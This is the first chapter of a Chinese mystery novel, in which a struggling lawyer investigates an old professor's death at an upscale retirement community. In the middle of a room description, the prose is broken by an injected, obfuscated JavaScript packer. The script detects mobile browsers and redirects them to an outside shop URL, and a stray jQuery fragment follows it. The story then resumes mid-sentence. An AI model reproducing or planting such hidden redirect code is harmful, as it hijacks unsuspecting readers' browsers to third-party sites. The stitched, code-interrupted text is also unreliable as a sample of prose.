灰白庭院
第一章最后一单生意
方言是在一个雨天的下午接到那通电话的。
说“接”其实不太准确，他的手机已经欠费三天了，是事务所的座机响了起来。那台老式电话搁在堆满卷宗的桌子角上，像一具随时会散架的黑色骷髅，响铃时整个桌面都跟着嗡嗡颤。方言盯着它看了五秒，确定这不是催缴房租的房东打来的，才伸手去接。
“方律师，好久不见。”
声音有点耳熟，但方言一时对不上号。他含糊地“嗯”了一声，用肩膀夹着听筒，腾出手去翻桌上的记事本。那本子上记的大多是“周三搬家公司咨询”“周五社区调解”之类的事，近来连这种零碎活都越来越少了。
“我是周远。大学同学，还记得吗？法学院那个。”
方言的手停住了。他想起来了。周远，那个总是坐在阶梯教室第三排正中间的人，笔记工整得像印刷品，考试前全班都找他借复习资料。毕业十五年，方言没参加过任何一次同学聚会，但偶尔会在新闻里看到他的名字，本市最大地产集团的法务总监，年轻有为，前途无量。
和方言完全是两个物种。
“记得，”方言说，尽量让声音听起来不那么疲惫，“好久不见。你……找我有事？”
“有个案子想委托你。”周远说，语气很正经，“你现在方便谈吗？或者我们约个地方见面？”
方言环顾了一下自己的办公室。十二平米，墙皮剥落，堆满卷宗和杂物，唯一体面的物件是身后那面“正义之剑”的锦旗，三年前一个拆迁户送的，现在落满了灰。
“电话里说吧。”
“我父亲住的那家养老社区，出了一点状况。”
“养老社区？”
“晚晴颐养社区。在城西翠屏山那边。”
方言确实没听过，但翠屏山他知道。那一片是本市的富人区，地价高得离谱。在那里开养老社区，服务对象是谁不言而喻。
“有一位老人去世了。”
方言等了两秒，周远没有继续说。他只好开口：“在养老社区里，老人去世……这听起来不太像需要律师的事。”
“正常情况是不需要。”周远说，声音里有种微妙的停顿，“但这位老人去世的方式，让家属有些疑问。”
“什么疑问？”
“电话里不太方便细说。方律师，我知道你这些年接过不少……比较特殊的案子。这个案子不算大，但需要有人去现场看一看，和社区方沟通一下。如果你愿意接的话，委托费我会按照市场标准付。”
方言的笔终于出了一道墨。他在纸上写下“晚晴颐养”四个字，笔迹断断续续的，像濒死的心电图。
“为什么找我？”他问。
电话那头沉默了几秒。窗外的雨声趁机涌了进来，劈劈啪啪打在空调外机上。
“因为我记得你大学时候的样子。”周远终于说，“那时候老师讲过那么多案例，只有你会在课后追着问：这个人为什么这么做？你不在乎输赢，你在乎原因。这个案子，需要有人问一句为什么。”
方言没说话。他放下笔，靠进吱呀作响的椅背里。他答应了。
翠屏山离市区不算远，但方言那辆开了十二年的捷达爬起山路来还是有些吃力。第二天上午，他开了一个多小时才到。山上的空气清冽，路两边种满了法国梧桐，晨光穿过树冠筛下来，斑斑点点落在柏油路面上。
晚晴颐养社区的入口比他想象的低调。没有夸张的牌坊或喷泉，只有一块灰色的石头嵌在草坪里，上面刻着“晚晴”两个字，字迹柔和，像老年人的手写体。车开进去后，视线豁然开朗，整片社区依山而建，几栋白色建筑错落散布在绿树之间，最高不过五层，造型圆润，像一群安卧的贝壳。
草坪上三三两两坐着老人，有的在晒太阳，有的在打太极。远处有个人工湖，湖边种着垂柳，有人在树下下棋。一切都安静、有序、体面。空气里飘着若有若无的桂花香。
“方律师？”
一个年轻女人从主楼大厅里快步迎了出来。她看起来三十出头，穿着一身浅蓝色的职业套装，胸前别着工牌，上面写着“客户关系部颜如玉”。
“我是小颜。周总监说您今天会过来。”她伸手和方言握了一下，笑容恰到好处，“我先带您去见我们院长？”
“不急，”方言说，“我想先看看去世老人住的地方。”
小颜的笑容顿了一下，但只是一瞬，很快就恢复了。“当然可以。陈老先生住的是望山居，在三号楼三层。您这边请。”
她走在前面带路，步伐不紧不慢，高跟鞋踩在大理石地面上的声音清脆均匀。
“陈老全名叫什么？”
“陈树生。今年七十一岁，退休前是师范学院的教授，教教育学的。在这里住了三年多一点。”
“家属呢？”
“有一个女儿，在国外。警察已经来看过了，初步判断是自然死亡，心脏病突发。”小颜说到这儿，补充了一句，“晚晴社区对任何一位老人的离世都非常重视，我们第一时间就报了警。这也是我们的标准流程。”
她说完，转过身来面对方言，表情坦然：“方律师，我们没什么需要遮掩的。”
“那为什么要找我？”方言问。
小颜歪了歪头，似乎不太理解这个问题。
“委托我的，是你们院长的儿子。”
小颜愣了一下，随即笑了笑：“周总监做事一向比较谨慎。陈老的女儿在国外，等回来之后如果有什么疑问，有您在中间沟通，会顺畅很多。”
解释得很合理。但方言心里存下了一个疑问：如果只是“沟通顺畅”的问题，周远大可不必在电话里说那句“需要有人问一句为什么”。
陈树生的房间在302室。房间不大，大约四十平米，家具是素雅的浅色系。桌上摆着一盆君子兰，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733415|209008||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
叶片肥厚，显然被照料得很好。
最引人注目的是墙上那幅照片。
照片被装裱在实木相框里，挂在正对沙发的墙上。照片上是一群老人站在一片草坪上，每人手里都捧着一块水晶奖牌，正对着镜头笑。陈树生站在最中间，清瘦儒雅，戴着一副金丝眼镜，笑容温和。
“这是什么？”方言指着照片问。
小颜脸上浮起一种带着骄傲的神情：“这个是‘老天使’评选。我们社区每年举办一次，由所有老人和工作人员共同投票，选出三位‘年度老天使’，表彰他们为社区做出的贡献。陈老连续三年都入选了。”
方言走近一步，仔细看那张照片。陈树生的笑容确实温和，温和得几乎无可挑剔。照片里的其他老人也都笑着，但不知为什么，方言总觉得那些笑容被框在相框里，有些失真。
床头柜上放着几本书，最上面一本是《论语》，书页已经翻得卷了边。茶几上有一个棋盘，棋子整整齐齐地码在盒子里，旁边放着一只紫砂茶杯，杯底还残留着深褐色的茶渍。
“陈老最后被发现是在哪里？”方言问。
“就在这里，”小颜指了指沙发，“那天下午他的老朋友孙伯伯来找他下棋，敲门没人应，推门进来就发现陈老半靠在沙发上，已经不行了。”
“他死前有什么异常吗？”
“没有。一切都很正常。上午他还在活动室给大家上了一节课，讲的是《论语》里的‘君子坦荡荡’。下午和孙伯伯约了下棋。监控显示孙伯伯来之前，没有任何人进过这个房间。”
“他死前的最后一句话是什么？”
小颜眨了眨眼，似乎觉得这个问题有些奇怪，但还是认真回想了一下：“孙伯伯说，他推门进来的时候，陈老还有意识，看到他进来，笑了一下。然后说了一句话，‘老孙，你又耍赖。’”
方言皱起了眉头。
下棋的时候说“你又耍赖”，这太正常了。太像一句普通的、日常的玩笑话。但恰恰因为太正常，放在“临终遗言”这个位置上，反而显得有些不正常。
“孙明义，”方言记住了这个名字，“他现在在哪儿？”
“就在这栋楼，309室。不过方律师，孙伯伯年纪大了，最近又刚经历了老朋友去世，情绪不太稳定。如果您要见他的话，”
“我现在就想见他。”
孙明义坐在湖边的钓台上，背脊挺直，头发花白但梳得一丝不苟。他手里握着钓竿，视线却没有落向水面，而是望着远处的什么地方，一动不动，像一尊雕塑。
方言在他旁边的空椅子上坐下来。“我想请您再讲一遍那天下午的事。”
孙明义沉默了一会儿。阳光穿过柳枝，在他脸上投下明暗交错的光影。
“那天是周三，”他终于开口，“我和老陈约好下午两点下棋。我大概一点五十从他门口经过，敲了一下门，他说让我等一会儿。我就先下楼抽了根烟。